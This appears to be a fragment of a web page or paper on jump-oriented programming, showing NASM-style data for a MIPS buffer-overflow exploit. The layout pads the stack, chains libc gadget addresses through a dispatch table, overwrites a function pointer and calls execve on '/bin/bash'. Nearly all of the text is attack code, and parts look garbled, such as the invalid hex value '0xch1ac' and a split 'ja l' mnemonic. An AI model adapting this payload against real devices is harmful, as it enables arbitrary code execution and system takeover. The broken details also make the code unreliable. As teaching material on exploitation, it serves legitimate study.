<td></td>
</tr>
</tbody>
</table>

; ====== ATTACK DATA ======
Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp points 24 bytes before the start of this buffer, so we start with some padding.
times 32-24 db 'x'
dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
times 44-36 db 'x' ; sp+36 (padding)
dd base + g_start ; sp+44 Sets v0 - offset
times 128-48 db 'x' ; sp+48 (padding)
dd -4 ; sp+128 Sets a0 - delta
dd 0xaaaaaaaa ; sp+132 Sets a1
dd 0xaaaaaaaa ; sp+136 Sets a2
dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
```
MIPS full exploit code (2)

38 ; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
39 ; been advanced by 112 bytes, so it points 32 bytes before this point.
40 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
41 times 44-36 db 'x' ; sp+36 (padding)
42 dd 0xdedede ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011 ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x' ; sp+84 (padding)
46 dd base+shell_path ; sp+128 Sets a0
47 dd to_null ; sp+132 Sets a1
48 dd to_null ; sp+136 Sets a2
49
50 ; ===== DISPATCH TABLE =====
51 ; The dispatch table is in reverse order
52 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code
53 g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code
54 g03: dd libc-gp+0x7de0 ; Gadget: jalr t9 ; negu a1,s2
55 g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; ja l t9 ; move s6,a3
56 g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
57 g00: dd libc-gp+0xch1ac ; Gadget: jr t9 ; addiu sp,sp,96
58 g_start: ; Start of the dispatch table, which is in reverse order.
59
60 ; ===== OVERFLOW PADDING =====
61 times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
62
63 ; ===== FUNCTION POINTER OVERFLOW =====
64 dd initializer
65
66 ; ===== SHELL STRING =====
67 shell_path: db "/bin/bash"
68 db 0 ; End in NULL to finish the string overflow
References


